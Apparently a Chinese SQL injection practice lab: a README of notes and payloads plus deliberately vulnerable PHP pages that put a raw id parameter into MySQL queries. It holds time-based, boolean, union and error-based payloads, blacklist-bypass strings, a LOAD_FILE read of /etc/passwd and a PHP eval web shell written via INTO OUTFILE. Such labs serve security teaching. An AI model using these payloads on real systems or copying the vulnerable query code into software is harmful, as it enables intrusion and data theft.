├── README.md
├── login.php
├── setup-db.php
├── sql-1.php
├── sql-2.php
├── sql-3.php
├── sql-4.php
├── sql-5.php
├── sql-6.php
├── sql-7.php
├── sql-8.php
└── sql-connect.php


/README.md:
--------------------------------------------------------------------------------
  1 | #SQL—Injection  
  2 | 应用程序在向后台数据库传递SQLc查询时，如果为攻击者提供了影响该查询的能力，就会引起sql注入。简而言之就是程序代码在编写的时候没有对用户可控的变量进行合适的判断d和处理导致不可信数据被作为命令或是数据查询的一部分发送到用户客户端，导致漏洞的发生。
  3 | ##Mysql注入  
  4 | ###Mysql数据库版本  
  5 |  - show version(); < 5.0 没有information_schema数据库;
  6 |  - show version(); > 5.0 有内置information_schema数据库，可以快速查找表明;
  7 |  - show version(); > 5.5 有内置information_schema数据库和performance_schema数据库(用于收集数据库服务器性能参数)；  
  8 | 
  9 | ###注释符  
 10 |  - `#` `/*` `-- -` `;%00`
 11 |  - 值得注意：在Accsee数据库中没有注释符的存在，但是在一定条件下可以使用%00来代替注释符。
 12 | 
 13 | ###注入方式  
 14 |  - inband,利用攻击者和存在漏洞的wen程序之间现有的f通信方式来进行sql注入并提取数据，Union注入、报错注入(error-base)；
 15 |  - inference,通过传入不同的参数值来观察web程序表现的差异性来进行sql注入并提取数据，布尔值注入(bool)、时间注入(time-base)；
 16 |  - Out-of-inband，当现有的通信渠道不能提取数据d时，我们可以利用其他渠道来尝试提取数据，如e-mail、HTTP/DNS、文件系统；
 17 | 
 18 | ###Mysql 读写文件  
 19 |  - LOAD_FILE() 
 20 |     - SELECT LOAD_FILE('/etc/passwd');
 21 |     - Mysqlyd用户必须有文件读取的权利；文件大小要小于max_allowed_packet;
 22 |  - INTO OUTFILE()
 23 |    - SELECT '<?php eval($_REQUEST[\'s\']);>' INTO FILE '/var/www/1.php';
 24 |    - INTO OUTFILE不能覆盖已经存在的文件；
 25 | 
 26 | ###常用函数  
 27 |  - `@@VERSION()` `VERSION()` `current_user` `database()` `@@HOSTNAME`
 28 |  
 29 | ##SQL  
 30 |  - [SQL-1](#sql-1)
 31 |  - [SQL-2](#sql-2)
 32 |  - [SQl-3](#sql-3)
 33 |  - [SQl-4](#sql-4)
 34 |  - [SQL-5](#sql-5)
 35 |  - [SQl-6](#sql-6)
 36 |  - [SQl-7](#sql-7)
 37 |  - [SQl-8](#sql-8)
 38 | 
 39 | 
 40 | ##<span id="SQL-1">SQL-1</span>  
 41 | ###mysql_query  
 42 |  - `SELECT * FROM users WHERE id=1 LIMIT 0,1;`
 43 | ###Payload  
 44 |  - time-based blind 
 45 |     - `id=1 AND SLEEP(5) `
 46 |     - `id=1 AND (SELECT * FROM (SELECT(SLEEP(5)))Kevinsa)`
 47 |  - boolean-based blind 
 48 |     - `id=1 AND 6036=6036`
 49 |  - UNION query
 50 |     - `id=-3563 UNION ALL SELECT NULL,NULL,CONCAT()--`
 51 | 
 52 | ##<span id="SQL-2">SQL-2</span>  
 53 | 对比于SQL-1的直接传值$id，SQL-2中在SQL-1注入Payload的基础上需要对y单引号`'`进行闭合；  
 54 | ###mysql_query  
 55 |  - `SELECT * FROM users WHERE id='$id' LIMIT 0,1;`
 56 | ###PayLoad  
 57 |  - time-based blind 
 58 |     - `id=1' AND SLEEP(5) AND 'sql'='sql`
 59 |     - `id=1' AND (SELECT * FROM (SELECT(SLEEP(5)))Kevinsa) and 'Kevinsa'='Kevinsa`
 60 |  - boolean-based blind 
 61 |     - `id=1' AND 6036=6036 AND 'Drgh'='Drgh`
 62 |  - UNION query
 63 |     - `id=-3563' UNION ALL SELECT NULL,NULL,CONCAT()-- Kevinsa'`
 64 | 
 65 | ##<span id="SQL-3">SQL-3</span>  
 66 | ###mysql_query  
 67 |  - `SELECT * FROM users WHERE id=($id) LIMIT 0,1;`
 68 | ###Payload  
 69 |  - time-based blind
 70 |     - `?id=1) AND SLEEP(5) AND (1=1# `
 71 |  - boolen-based blind
 72 |     - `?id=1) AND 1378=1379 AND ('ARzY'='ARzY'`
 73 | 
 74 | ##<span id="SQL-4">SQL-4</span>  
 75 | 可以看到SQL-4与SQL-1是相类似的，在不需要闭合任何符合的情况下就可以进行SQL注入，但是在SQL-4中值得一提的是，SQL-4中开启了`mysql_error();`，r所以我们可以利用报错注入的方式来提取数据。
 76 | ###mysql_query  
 77 |  - ```
 78 |    $sql_query="SELECT * FROM users WHERE id=$id LIMIT 0,1";
 79 |    mysql_query($sql_query);
 80 |    echo mysql_error;
 81 |    ```
 82 | 
 83 | ###Payload  
 84 |  - error-based blind
 85 |     - `?id=1 AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(user(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)`
 86 |         - 主键重复性报错，floor(rand(0)*2)、count(*)、group by，报错方式的原理是：使用rand()查询时，由于group by的存在floor(rand(0)*2)会被执行一次，当x虚拟表不存在时，插入虚拟表会被再执行一次，而报错正是因为floor(rand(0)*2)的确定性011；文章：Wooyun知识库-Mysql报错注入原理分析(count()、rand()、group by)
 87 |     - `id=1  and (extractvalue(1,concat(0x7e,(select user()),0x7e)))`
 88 |         - extractvalue是mysql5.1提供的内置XML文件解析和修改函数，函数语法为extratvalue(XML_document,XPath_string),其中的XML_document是string格式，而当我们传入一个数值时，extractvalue()函数会产生报错；
 89 |     - `id=1  and (updatexml(1,concat(0x7e,(select user()),0x7e),1))`
 90 |         - extractvalue、updatexml都属于xpath语法错误进行报错注入，version>5.1.5,提供的两个XML查询和修改哈苏宁沪，extractvalue负责在xml文档中按照xpath语法查询节点内容，而updatexml负责修改查询到的内容。extractvalue、updatexml函数的第二个参数都是要去符合xpath语法的字符串，如果我们传入数字就能产生报错。updatexml同样是mysql5.1中提供的内置xml文件解析和修改函数，函数语法为updatexml(XML_document,XPath_string,new_value),其中的XML_document是string格式，而当我们传入一个数值时，updatexml()函数会产生报错； 
 91 | ###About  
 92 |  - version > 5.0.12,我们可以利用name_const()函数的重复产生报错来提取数据。select * from(select name_const(version()),1),name_const(version(),1);
 93 |  - 利用整形溢出进行报错注入提取数据，5.5.5 > version > 5.5可以返回信息，同时报错信息也是有长度限制的，#define ERRMSGSIZE (512) 
 94 | 
 95 | ##<span id="SQL-5">SQL-5</span>  
 96 | 虽然SQL-5的csql查询方式和SQL-1一样，但是php代码中没有对结果的输出点，而且注入布尔值判断也不影响页面正常输出任何内容，所以我们只能利用time-based blind。
 97 | ###mysql_query  
 98 |  - `SELECT * FROM users WHERE id='$id' LIMIT 0,1; 
 99 |     /* echo mysql_query(); */`
100 | ###Payload  
101 |  - time-based blind 
102 |     - `id=1 AND SLEEP(5) `
103 |     - `id=1 AND (SELECT * FROM (SELECT(SLEEP(5)))Kevinsa)`  
104 | 
105 | 
106 | ##<span id="SQL-6">SQL-6</span>  
107 | SQL-6对比与SQL-1多了一层粗糙的过滤，`function sqlentities()`以黑名单的方式对id参数值进行过滤。
108 | ###mysql_query  
109 |  - ```
110 |    function sqlentities($var) {
111 |     $var = str_replace("select"," ",$var);
112 | 	$var = str_replace("sleep"," ",$var);
113 | 	$var = str_replace("and"," ",$var);
114 | 	$var = str_replace("from"," ",$var);
115 | 	$var = str_replace("where"," ",$var);
116 | 	$var = str_replace("union"," ",$var);
117 | 	
118 | 	return $var;
119 | 	}
120 | 
121 |    ```
122 | ###Payload  
123 | 最简单的方式，我们一大小写混淆来绕过过滤
124 | - time-based blind 
125 |     - `id=1 AND SLEEP(5) `
126 |     - `id=1 AND (SELECT * FROM (SELECT(SLEEP(5)))Kevinsa)`
127 |  - boolean-based blind 
128 |     - `id=1 AND 6036=6036`
129 |  - UNION query
130 |     - `id=-3563 UNION ALL SELECT NULL,NULL,CONCAT()--`
131 | 
132 | ##<span id="SQL-7">SQL-7</span>  
133 | 相对于SQL-6，SQL-7匹配为大小写匹配，我们不能用大小写混淆来绕过过滤。
134 | ###mysql_quey
135 |  -  ```
136 |     function sqlentities($var) {
137 |     $var = preg_replace('/(select|where|sleep|and|from|union)/i',"",$var);
138 | 	return $var;
139 | 	}
140 | 	}
141 |   ```
142 | 
143 | ###Payload  
144 | - time-based blind 
145 |     - `id=1 ANandD SLandEEP(5) `
146 |     - `id=1 AND (SELEandCT * FandROM (SandELECT(SLandEEP(5)))Kevinsa)`
147 |  - boolean-based blind 
148 |     - `id=1 ANandD 6036=6036`
149 |  - UNION query
150 |     - `id=-3563 UNandION ALL SELECandT NULL,NULL,CONCAT()--`
151 | 
152 | ##<span id="SQL-8">SQL-8</span>  
153 | ###mysql_query  
154 |  - ```
155 |    $name=$_POST['username'];  
156 |    $password=$_POST['password']; 
157 |    ```
158 | 


--------------------------------------------------------------------------------
/login.php:
--------------------------------------------------------------------------------
 1 | <?php 
 2 | //数据库连接
 3 | include("sql-connect.php");
 4 | /*
 5 | //屏蔽mysql错误
 6 | ini_set('display_errors', 'off');
 7 | error_reporting(E_ALL^E_NOTICE^E_WARNING);
 8 | */
 9 | function collect_data(){   
10 | 	$sql = "select * from users";  
11 | 	$result = mysql_query($sql);   
12 | 	$colum= mysql_fetch_array($result);  
13 |   return colum;  
14 | }  
15 | 
16 | echo "<div class='text-center'>";
17 | $username=$_POST['username'];  
18 | $password=$_POST['password'];  
19 | if($name == "")  
20 | {   
21 |     echo "请填写用户名<br>";  
22 |      echo"<script type='text/javascript'>alert('请填写用户名');location='sql-8.php';  
23 |             </script>";         
24 | }  
25 | elseif($password == "")  
26 | {  
27 |      //echo "请填写密码<br><a href='login.php'>返回</a>";  
28 |     echo"<script type='text/javascript'>alert('请填写密码');location='sql-8.php';</script>";    
29 | }  
30 | else  
31 | {   
32 |     $colum=collect_data();  
33 |      if(($colum['username'] == $username) && ($colum['password'] == $password))  
34 |         {  
35 |          //echo "验证成功！<br>";  
36 |             echo"<script type='text/javascript'>alert('登陆成功');</script>";  
37 |          }             
38 |      else  
39 |          //echo "密码错误<br>";  
40 |         echo"<script type='text/javascript'>alert('密码错误');</script>";  
41 |      //echo "<a href='login.php'>返回</a>";  
42 |  }
43 | ?>
44 | 


--------------------------------------------------------------------------------
/setup-db.php:
--------------------------------------------------------------------------------
  1 | <!DOCTYPE>
  2 | <html>
  3 | 	<head>
  4 |   <meta charset="utf-8">
  5 |   <meta http-equiv="X-UA-Compatible content="IE=edge">
  6 |   <meta name="viewport" content="width=device-width,initial-scale=1">
  7 |   <title>xss-1</title>
  8 |   <link href="https://cdn.bootcss.com/bootstrap/3.3.7/css/bootstrap.min.css" rel="stylesheet">
  9 |   <!-- jQuery (necessary for Bootstrap's JavaScript plugins) -->
 10 |   <script src="https://cdn.bootcss.com/jquery/1.12.4/jquery.min.js"></script>
 11 |   <!-- Include all compiled plugins (below), or include individual files as needed -->
 12 |   <script src="https://cdn.bootcss.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>
 13 | 	</head>
 14 | 	<body>
 15 |   	<div class="container">
 16 |   		<!-- 页头 -->
 17 |   		<div class="row">
 18 | 
 19 |   			<div class="col-xs-6 col-sm-6 col-md-6">
 20 |   				<div class="page-header">
 21 |   					<h1>SQL-Challeng-setdb</h1>
 22 |   				</div>
 23 |   			</div>	
 24 |   			<div class="col-xs-6 col-mx-6 col-md-6">
 25 |   				<nav arial-label="Page navigation">
 26 |   					<ul class="pagination">
 27 |         			<li><a href="#">数据库设置</a></li>
 28 |         			<li><a href="#">数据库操作</a></li>
 29 |   					</ul>
 30 |   				</nav>
 31 |   			</div>
 32 |   		</div>
 33 | 		</div>
 34 | 		<div class="container text-conter">
 35 | <?php 
 36 | 
 37 | include("sql-connect.php");
 38 | 
 39 | //连接数据库
 40 | $con = mysql_connect($host,$dbusername,$dbpassword);
 41 | if(!$con) {
 42 | 	echo "连接失败：" . mysql_error();}
 43 | 
 44 | //对数据库进行操作
 45 | $sql1 = "DROP DATABASE IF EXISTS chanllenge";
 46 | if(mysql_query($sql1)) {
 47 | 		echo "删除SQLChallenge成功";
 48 | 		echo "<br>";}
 49 | 	else {
 50 | 		echo  mysql_error();
 51 | 		echo "<br>";}
 52 | $sql2 = "CREATE DATABASE `challenge` CHARACTER SET `gbk`";
 53 | if(mysql_query($sql2)) {
 54 | 	echo "成功创建数据库";
 55 | 	echo "<br>";}
 56 | 	else {
 57 | 		echo mysql_error();
 58 | 		echo "<br>";}
 59 | $sql3 = "CREATE TABLE challenge.users (id int(3) NOT NULL AUTO_INCREMENT, username varchar(20) NOT NULL, password varchar(20) NOT NULL, PRIMARY KEY (id))";
 60 | if(mysql_query($sql3)) {
 61 | 	echo "成功写入字段";
 62 | 	echo "<br>";}
 63 | 	else {
 64 | 		echo mysql_error();
 65 | 		echo "<br>";} 
 66 | $sql4="INSERT INTO challenge.users (id, username, password) VALUES ('1', 'kevin', 'Kevin'), ('2', 'angle', 'angle'''), ('3', 'Miss', 'miss')";		
 67 | if(mysql_query($sql4)) {
 68 | 	echo "成功写入数据";
 69 | 	echo "<br>";}
 70 | 	else {
 71 | 		echo mysql_error();
 72 | 		echo "<br>";}
 73 | $sql5 = "CREATE TABLE challenge.emails
 74 | 				(
 75 | 				id int(3)NOT NULL AUTO_INCREMENT,
 76 | 				email_id varchar(30) NOT NULL,
 77 | 				PRIMARY KEY (id)
 78 | 				)";
 79 | if(mysql_query($sql5)) {
 80 | 	echo "成功创建新的数据表";
 81 | 	echo "<br>";}
 82 | 	else {
 83 | 		echo mysql_error();
 84 | 		echo "<br>";}	
 85 | $sql6="INSERT INTO `challenge`.`emails` (id, email_id) VALUES ('1', 'Dumb@dhakkan.com'), ('2', 'Angel@iloveu.com'), ('3', 'Dummy@dhakkan.local'), ('4', 'secure@dhakkan.local'), ('5', 'stupid@dhakkan.local'), ('6', 'superman@dhakkan.local'), ('7', 'batman@dhakkan.local'), ('8', 'admin@dhakkan.com')";
 86 | if(mysql_query($sql6)) {
 87 | 	echo "成功写入数据";
 88 | 	echo "<br>";}
 89 | 	else {
 90 | 		echo mysql_error();
 91 | 		echo "<br>";}
 92 | 
 93 | ?>
 94 | 		</div>
 95 | 		<br>
 96 | 		<br>
 97 | 		<div class="container text-center">
 98 | 			<a href="#" class="btn btn-info " role="button">About</a>
 99 | 		</div>
100 | 		<br>
101 | 		<br>
102 | 	</body>
103 | 
104 | </html>


--------------------------------------------------------------------------------
/sql-1.php:
--------------------------------------------------------------------------------
 1 | <!DOCTYPE>
 2 | <html>  
 3 |  <body>
 4 |  <meta charset="utf-8">
 5 |  <meta http-equiv="X-UA-Compatible" content="IE=edge">
 6 |    <meta name="viewport" content="width=device-width,initial-scale=1">
 7 |   <title>xss-1</title>
 8 |   <link href="https://cdn.bootcss.com/bootstrap/3.3.7/css/bootstrap.min.css" rel="stylesheet">
 9 |   <!-- jQuery (necessary for Bootstrap's JavaScript plugins) -->
10 |   <script src="https://cdn.bootcss.com/jquery/1.12.4/jquery.min.js"></script>
11 |   <!-- Include all compiled plugins (below), or include individual files as needed -->
12 |   <script src="https://cdn.bootcss.com/bootstrap/3.3.7/js/bootstrap.min.js"></script> 	
13 |  </body>
14 |   <div class="container">
15 |   		<!-- 页头 -->
16 |   		<div class="row">
17 | 
18 |   			<div class="col-xs-6 col-sm-6 col-md-6">
19 |   				<div class="page-header">
20 |   					<h1>SQl Injection</h1>
21 |   				</div>
22 |   			</div>	
23 |   			<div class="col-xs-6 col-sm-6 col-md-6">
24 |   				<nav aria-label="Page navigation">
25 |     				<ul class="pagination">
26 |    	 	 				<li>
27 |       					<a href="#" aria-label="Previous">
28 |         					<span aria-hidden="true">&laquo;</span>
29 |       					</a>
30 |     					</li>
31 |     					<li><a href="SQL-1.php">1</a></li>
32 |     					<li><a href="SQL-2.php">2</a></li>
33 |     					<li><a href="SQl-3.php">3</a></li>
34 |     					<li><a href="SQl-4.php">4</a></li>
35 |     					<li><a href="SQL-5.php">5</a></li>
36 |     					<li><a href="SQl-6.php">6</a></li>
37 |     					<li><a href="SQl-7.php">7</a></li>
38 |     					<li><a href="SQl-8.php">8</a></li>
39 |     					<li>
40 |      					 	<a href="#" aria-label="Next">
41 |        				 		<span aria-hidden="true">&raquo;</span>
42 |       					</a>
43 |     					</li>
44 |     					<p class="text-center">注入参数 id</p>
45 |   					</ul>
46 | 					</nav>
47 |   			</div>
48 |   		</div>
49 |   	</div>
50 |   	<div class="container">
51 | <?php 
52 | //数据库连接
53 | include("sql-connect.php");
54 | 
55 | //屏蔽mysql错误
56 | ini_set('display_errors', 'off');
57 | error_reporting(E_ALL^E_NOTICE^E_WARNING);
58 | echo "<div class='text-center'>";
59 | if(isset($_GET['id'])) {
60 | 	$id = $_GET['id'];
61 | 	echo "传入的值:id=" .$id;
62 | 	echo "<br>";
63 | 	 	
64 | 
65 | $sql_query="SELECT * FROM users WHERE id=$id LIMIT 0,1";
66 | print_r("$sql_query");
67 | echo "<br>";
68 | $result = mysql_query($sql_query);
69 | 
70 | $arr = mysql_fetch_array($result);
71 | 
72 | if ($arr) {
73 | 	echo "<br>";
74 | 	echo "<br>";
75 | 	echo "Username: " .$arr['username'];
76 | 	echo "<br>";
77 | 	echo "Password: " .$arr['password'];
78 | 	echo "<br>";}
79 | 	else {
80 | 		echo "<br>";
81 | 		echo "sql查询失败";}
82 | 	echo "</div>";
83 | }
84 | ?>
85 | 
86 |   		  		
87 |   	</div>
88 |   	<br>
89 | 		<br>
90 |   	<div class="container text-center">
91 | 			<a href="#" class="btn btn-info " role="button">About</a>
92 | 		</div>
93 | </html>


--------------------------------------------------------------------------------
/sql-2.php:
--------------------------------------------------------------------------------
 1 | <!DOCTYPE>
 2 | <html>  
 3 |  <body>
 4 |  <meta charset="utf-8">
 5 |  <meta http-equiv="X-UA-Compatible" content="IE=edge">
 6 |    <meta name="viewport" content="width=device-width,initial-scale=1">
 7 |   <title>xss-1</title>
 8 |   <link href="https://cdn.bootcss.com/bootstrap/3.3.7/css/bootstrap.min.css" rel="stylesheet">
 9 |   <!-- jQuery (necessary for Bootstrap's JavaScript plugins) -->
10 |   <script src="https://cdn.bootcss.com/jquery/1.12.4/jquery.min.js"></script>
11 |   <!-- Include all compiled plugins (below), or include individual files as needed -->
12 |   <script src="https://cdn.bootcss.com/bootstrap/3.3.7/js/bootstrap.min.js"></script> 	
13 |  </body>
14 |   <div class="container">
15 |   		<!-- 页头 -->
16 |   		<div class="row">
17 | 
18 |   			<div class="col-xs-6 col-sm-6 col-md-6">
19 |   				<div class="page-header">
20 |   					<h1>SQl Injection</h1>
21 |   				</div>
22 |   			</div>	
23 |   			<div class="col-xs-6 col-sm-6 col-md-6">
24 |   				<nav aria-label="Page navigation">
25 |     				<ul class="pagination">
26 |    	 	 				<li>
27 |       					<a href="#" aria-label="Previous">
28 |         					<span aria-hidden="true">&laquo;</span>
29 |       					</a>
30 |     					</li>
31 |     					<li><a href="SQL-1.php">1</a></li>
32 |     					<li><a href="SQL-2.php">2</a></li>
33 |     					<li><a href="SQl-3.php">3</a></li>
34 |     					<li><a href="SQl-4.php">4</a></li>
35 |     					<li><a href="SQL-5.php">5</a></li>
36 |     					<li><a href="SQl-6.php">6</a></li>
37 |     					<li><a href="SQl-7.php">7</a></li>
38 |     					<li><a href="SQl-8.php">8</a></li>
39 |     					<li>
40 |      					 	<a href="#" aria-label="Next">
41 |        				 		<span aria-hidden="true">&raquo;</span>
42 |       					</a>
43 |     					</li>
44 |     					<br>
45 |     					<p class="text-center">注入参数 id</p>
46 |   					</ul>
47 | 					</nav>
48 |   			</div>
49 |   		</div>
50 |   	</div>
51 |   	<div class="container">
52 | <?php 
53 | //数据库连接
54 | include("sql-connect.php");
55 | 
56 | //屏蔽mysql错误
57 | error_reporting(E_ALL^E_NOTICE^E_WARNING);
58 | echo "<div class='text-center'>";
59 | if(isset($_GET['id'])) {
60 | 	$id = $_GET['id'];
61 | 	echo "传入的值:id=" .$id;
62 | 	echo "<br>";
63 | 	 	
64 | 
65 | $sql_query="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
66 | print_r("$sql_query");
67 | echo "<br>";
68 | $result = mysql_query($sql_query);
69 | $arr = mysql_fetch_array($result);
70 | 
71 | if ($arr) {
72 | 	echo "<br>";
73 | 	echo "<br>";
74 | 	echo "Username: " .$arr['username'];
75 | 	echo "<br>";
76 | 	echo "Password: " .$arr['password'];
77 | 	echo "<br>";}
78 | 	else {
79 | 		echo "sql查询失败";}
80 | 	echo "</div>";
81 | }
82 | ?>
83 | 
84 |   		  		
85 |   	</div>
86 |   	<br>
87 | 		<br>
88 |   	<div class="container text-center">
89 | 			<a href="#" class="btn btn-info " role="button">About</a>
90 | 		</div>
91 | </html>


--------------------------------------------------------------------------------
/sql-3.php:
--------------------------------------------------------------------------------
 1 | <!DOCTYPE>
 2 | <html>  
 3 |  <body>
 4 |  <meta charset="utf-8">
 5 |  <meta http-equiv="X-UA-Compatible" content="IE=edge">
 6 |    <meta name="viewport" content="width=device-width,initial-scale=1">
 7 |   <title>xss-1</title>
 8 |   <link href="https://cdn.bootcss.com/bootstrap/3.3.7/css/bootstrap.min.css" rel="stylesheet">
 9 |   <!-- jQuery (necessary for Bootstrap's JavaScript plugins) -->
10 |   <script src="https://cdn.bootcss.com/jquery/1.12.4/jquery.min.js"></script>
11 |   <!-- Include all compiled plugins (below), or include individual files as needed -->
12 |   <script src="https://cdn.bootcss.com/bootstrap/3.3.7/js/bootstrap.min.js"></script> 	
13 |  </body>
14 |   <div class="container">
15 |   		<!-- 页头 -->
16 |   		<div class="row">
17 | 
18 |   			<div class="col-xs-6 col-sm-6 col-md-6">
19 |   				<div class="page-header">
20 |   					<h1>SQl Injection</h1>
21 |   				</div>
22 |   			</div>	
23 |   			<div class="col-xs-6 col-sm-6 col-md-6">
24 |   				<nav aria-label="Page navigation">
25 |     				<ul class="pagination">
26 |    	 	 				<li>
27 |       					<a href="#" aria-label="Previous">
28 |         					<span aria-hidden="true">&laquo;</span>
29 |       					</a>
30 |     					</li>
31 |     					<li><a href="SQL-1.php">1</a></li>
32 |     					<li><a href="SQL-2.php">2</a></li>
33 |     					<li><a href="SQl-3.php">3</a></li>
34 |     					<li><a href="SQl-4.php">4</a></li>
35 |     					<li><a href="SQL-5.php">5</a></li>
36 |     					<li><a href="SQl-6.php">6</a></li>
37 |     					<li><a href="SQl-7.php">7</a></li>
38 |     					<li><a href="SQl-8.php">8</a></li>
39 |     					<li>
40 |      					 	<a href="#" aria-label="Next">
41 |        				 		<span aria-hidden="true">&raquo;</span>
42 |       					</a>
43 |     					</li>
44 |     					<p class="text-center">注入参数 id</p>
45 |   					</ul>
46 | 					</nav>
47 |   			</div>
48 |   		</div>
49 |   	</div>
50 |   	<div class="container">
51 | <?php 
52 | //数据库连接
53 | include("sql-connect.php");
54 | //屏蔽mysql错误
55 | error_reporting(E_ALL^E_NOTICE^E_WARNING);
56 | echo "<div class='text-center'>";
57 | echo "<div class='text-center'>";
58 | if(isset($_GET['id'])) {
59 | 	$id = $_GET['id'];
60 | 	echo "传入的值:id=" .$id;
61 | 	echo "<br>";
62 | 	 	
63 | 
64 | $sql_query="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
65 | print_r("$sql_query");
66 | $result = mysql_query($sql_query);
67 | $arr = mysql_fetch_array($result);
68 | 
69 | if ($arr) {
70 | 	echo "<br>";
71 | 	echo "<br>";
72 | 	echo "Username: " .$arr['username'];
73 | 	echo "<br>";
74 | 	echo "Password: " .$arr['password'];
75 | 	echo "<br>";}
76 | 	else {
77 | 		echo "<br>";
78 | 		echo "sql查询失败";}
79 | 	echo "</div>";
80 | }
81 | ?>
82 | 
83 |   		  		
84 |   	</div>
85 |   	<br>
86 | 		<br>
87 |   	<div class="container text-center">
88 | 			<a href="#" class="btn btn-info " role="button">About</a>
89 | 		</div>
90 | </html>


--------------------------------------------------------------------------------
/sql-4.php:
--------------------------------------------------------------------------------
 1 | <!DOCTYPE>
 2 | <html>  
 3 |  <body>
 4 |  <meta charset="utf-8">
 5 |  <meta http-equiv="X-UA-Compatible" content="IE=edge">
 6 |    <meta name="viewport" content="width=device-width,initial-scale=1">
 7 |   <title>xss-1</title>
 8 |   <link href="https://cdn.bootcss.com/bootstrap/3.3.7/css/bootstrap.min.css" rel="stylesheet">
 9 |   <!-- jQuery (necessary for Bootstrap's JavaScript plugins) -->
10 |   <script src="https://cdn.bootcss.com/jquery/1.12.4/jquery.min.js"></script>
11 |   <!-- Include all compiled plugins (below), or include individual files as needed -->
12 |   <script src="https://cdn.bootcss.com/bootstrap/3.3.7/js/bootstrap.min.js"></script> 	
13 |  </body>
14 |   <div class="container">
15 |   		<!-- 页头 -->
16 |   		<div class="row">
17 | 
18 |   			<div class="col-xs-6 col-sm-6 col-md-6">
19 |   				<div class="page-header">
20 |   					<h1>SQl Injection</h1>
21 |   				</div>
22 |   			</div>	
23 |   			<div class="col-xs-6 col-sm-6 col-md-6">
24 |   				<nav aria-label="Page navigation">
25 |     				<ul class="pagination">
26 |    	 	 				<li>
27 |       					<a href="#" aria-label="Previous">
28 |         					<span aria-hidden="true">&laquo;</span>
29 |       					</a>
30 |     					</li>
31 |     					<li><a href="SQL-1.php">1</a></li>
32 |     					<li><a href="SQL-2.php">2</a></li>
33 |     					<li><a href="SQl-3.php">3</a></li>
34 |     					<li><a href="SQl-4.php">4</a></li>
35 |     					<li><a href="SQL-5.php">5</a></li>
36 |     					<li><a href="SQl-6.php">6</a></li>
37 |     					<li><a href="SQl-7.php">7</a></li>
38 |     					<li><a href="SQl-8.php">8</a></li>
39 |     					<li>
40 |      					 	<a href="#" aria-label="Next">
41 |        				 		<span aria-hidden="true">&raquo;</span>
42 |       					</a>
43 |     					</li>
44 |     					<p class="text-center">注入参数 id</p>
45 |   					</ul>
46 | 					</nav>
47 |   			</div>
48 |   		</div>
49 |   	</div>
50 |   	<div class="container">
51 | <?php 
52 | //数据库连接
53 | include("sql-connect.php");
54 | 
55 | //屏蔽mysql错误
56 | ini_set('display_errors', 'off');
57 | error_reporting(E_ALL^E_NOTICE^E_WARNING);
58 | echo "<div class='text-center'>";
59 | if(isset($_GET['id'])) {
60 | 	$id = $_GET['id'];
61 | 	echo "传入的值:id=" .$id;
62 | 	echo "<br>";
63 | 	 	
64 | 
65 | $sql_query="SELECT * FROM users WHERE id=$id LIMIT 0,1";
66 | print_r("$sql_query");
67 | echo "<br>";
68 | $result = mysql_query($sql_query);
69 | 
70 | $arr = mysql_fetch_array($result);
71 | 
72 | if ($arr) {
73 | 	echo "<br>";
74 | 	echo "<br>";
75 | 	echo "Username: " .$arr['username'];
76 | 	echo "<br>";
77 | 	echo "Password: " .$arr['password'];
78 | 	echo "<br>";}
79 | 	else {
80 | 		echo "<br>";
81 | 		echo mysql_error();}
82 | 	echo "</div>";
83 | }
84 | ?>
85 | 
86 |   		  		
87 |   	</div>
88 |   	<br>
89 | 		<br>
90 |   	<div class="container text-center">
91 | 			<a href="#" class="btn btn-info " role="button">About</a>
92 | 		</div>
93 | </html>


--------------------------------------------------------------------------------
/sql-5.php:
--------------------------------------------------------------------------------
 1 | <!DOCTYPE>
 2 | <html>  
 3 |  <body>
 4 |  <meta charset="utf-8">
 5 |  <meta http-equiv="X-UA-Compatible" content="IE=edge">
 6 |    <meta name="viewport" content="width=device-width,initial-scale=1">
 7 |   <title>xss-1</title>
 8 |   <link href="https://cdn.bootcss.com/bootstrap/3.3.7/css/bootstrap.min.css" rel="stylesheet">
 9 |   <!-- jQuery (necessary for Bootstrap's JavaScript plugins) -->
10 |   <script src="https://cdn.bootcss.com/jquery/1.12.4/jquery.min.js"></script>
11 |   <!-- Include all compiled plugins (below), or include individual files as needed -->
12 |   <script src="https://cdn.bootcss.com/bootstrap/3.3.7/js/bootstrap.min.js"></script> 	
13 |  </body>
14 |   <div class="container">
15 |   		<!-- 页头 -->
16 |   		<div class="row">
17 | 
18 |   			<div class="col-xs-6 col-sm-6 col-md-6">
19 |   				<div class="page-header">
20 |   					<h1>SQl Injection</h1>
21 |   				</div>
22 |   			</div>	
23 |   			<div class="col-xs-6 col-sm-6 col-md-6">
24 |   				<nav aria-label="Page navigation">
25 |     				<ul class="pagination">
26 |    	 	 				<li>
27 |       					<a href="#" aria-label="Previous">
28 |         					<span aria-hidden="true">&laquo;</span>
29 |       					</a>
30 |     					</li>
31 |     					<li><a href="SQL-1.php">1</a></li>
32 |     					<li><a href="SQL-2.php">2</a></li>
33 |     					<li><a href="SQl-3.php">3</a></li>
34 |     					<li><a href="SQl-4.php">4</a></li>
35 |     					<li><a href="SQL-5.php">5</a></li>
36 |     					<li><a href="SQl-6.php">6</a></li>
37 |     					<li><a href="SQl-7.php">7</a></li>
38 |     					<li><a href="SQl-8.php">8</a></li>
39 |     					<li>
40 |      					 	<a href="#" aria-label="Next">
41 |        				 		<span aria-hidden="true">&raquo;</span>
42 |       					</a>
43 |     					</li>
44 |     					<p class="text-center">注入参数 id</p>
45 |   					</ul>
46 | 					</nav>
47 |   			</div>
48 |   		</div>
49 |   	</div>
50 |   	<div class="container">
51 | <?php 
52 | //数据库连接
53 | include("sql-connect.php");
54 | 
55 | //屏蔽mysql错误
56 | ini_set('display_errors', 'off');
57 | error_reporting(E_ALL^E_NOTICE^E_WARNING);
58 | echo "<div class='text-center'>";
59 | if(isset($_GET['id'])) {
60 | 	$id = $_GET['id'];
61 | 	echo "传入的值:id=" .$id;
62 | 	echo "<br>";
63 | 	 	
64 | 
65 | $sql_query="SELECT * FROM users WHERE id=$id LIMIT 0,1";
66 | print_r("$sql_query");
67 | echo "<br>";
68 | $result = mysql_query($sql_query);
69 | 
70 | /*$arr = mysql_fetch_array($result);
71 | 
72 | if ($arr) {
73 | 	echo "<br>";
74 | 	echo "<br>";
75 | 	echo "Username: " .$arr['username'];
76 | 	echo "<br>";
77 | 	echo "Password: " .$arr['password'];
78 | 	echo "<br>";}
